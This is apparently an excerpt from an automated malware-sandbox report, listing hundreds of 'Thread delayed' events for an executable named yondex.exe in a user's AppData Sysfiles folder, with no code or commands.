Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595563	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595375	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595172	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594938	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594438	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599810
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599562
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599156
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598796
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598359
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598164
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597843
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597640
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597455
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597281
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597124
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596921
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596718
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596542
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596156
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595994
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595734
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595375
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595140
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594906
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594701
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599469
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599265
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 599031
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598812
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598625
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598406
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598187
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 598031
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597765
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597574
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597390
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 597015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596890
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596778
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596658
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596498
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596338
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596217
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 596052
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595807
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595685
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595546
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595378
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595234
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 595102
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594961
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594806
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594661
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594386
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594219
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 594062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593936
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593797
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593640
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593530
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593393
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593234
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 593104
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592937
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592820
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592672
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592515
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592375
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592234
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 592098
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591783
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591640
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591469
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591312
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591186
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 591047
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590911
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590777
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590653
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590530
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590390
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590250
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 590109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589993
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589859
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589723
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589585
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589437
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589281
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589156
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 589026
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588901
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588763
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588621
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588475
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588337
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588210
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 588071
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587943
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587625
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587484
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587202
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 587047
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586906
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586778
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586609
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586437
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586286
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586154
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 586015
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585875
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585719
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585578
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585437
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 585094
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584903
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584765
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584647
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584509
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584346
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 584062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583908
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583750
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583621
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583498
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583359
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583204
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 583047
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582645
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582359
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 582070
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581625
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581490
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581344
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 581086
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580945
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580797
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580656
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580526
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580400
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580258
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 580109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579984
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579844
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579708
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579547
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579424
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579297
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579160
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 579005
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578868
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578731
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578578
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578449
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578322
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578186
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 578060
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577934
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577804
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577659
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577515
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577368
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577234
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 577078
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576960
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576651
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576499
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576344
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576187
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 576054
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575890
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575765
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575634
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575487
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575218
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 575078
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574951
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574812
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574681
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574531
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574394
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574258
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 574078
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573920
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573781
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573646
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573510
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573362
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573219
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 573064
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572791
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572659
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572377
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572236
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 572107
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571980
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571844
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571712
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571578
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571422
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571285
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571154
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 571026
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570875
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570760
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570616
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570471
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570182
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 570047
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569891
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569750
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569594
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569464
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 569062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568922
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568756
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568620
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568469
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568328
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568198
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 568071
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567937
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567801
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567668
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567531
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567404
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567275
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567140
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 567000
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566844
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566687
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566553
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566410
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566265
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 566109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565997
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565866
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565718
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565588
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565462
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565342
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565203
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 565084
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564946
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564812
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564686
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564547
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564406
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564277
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 564140
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563984
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563844
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563703
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563515
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563375
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563250
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 563109
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562966
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562836
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562656
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562500
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562359
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562211
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 562079
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561935
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561797
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561640
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561493
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561348
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561210
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 561062
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560930
Source: C:\Users\user\AppData\Roaming\Sysfiles\yondex.exe	Thread delayed: delay time: 560804
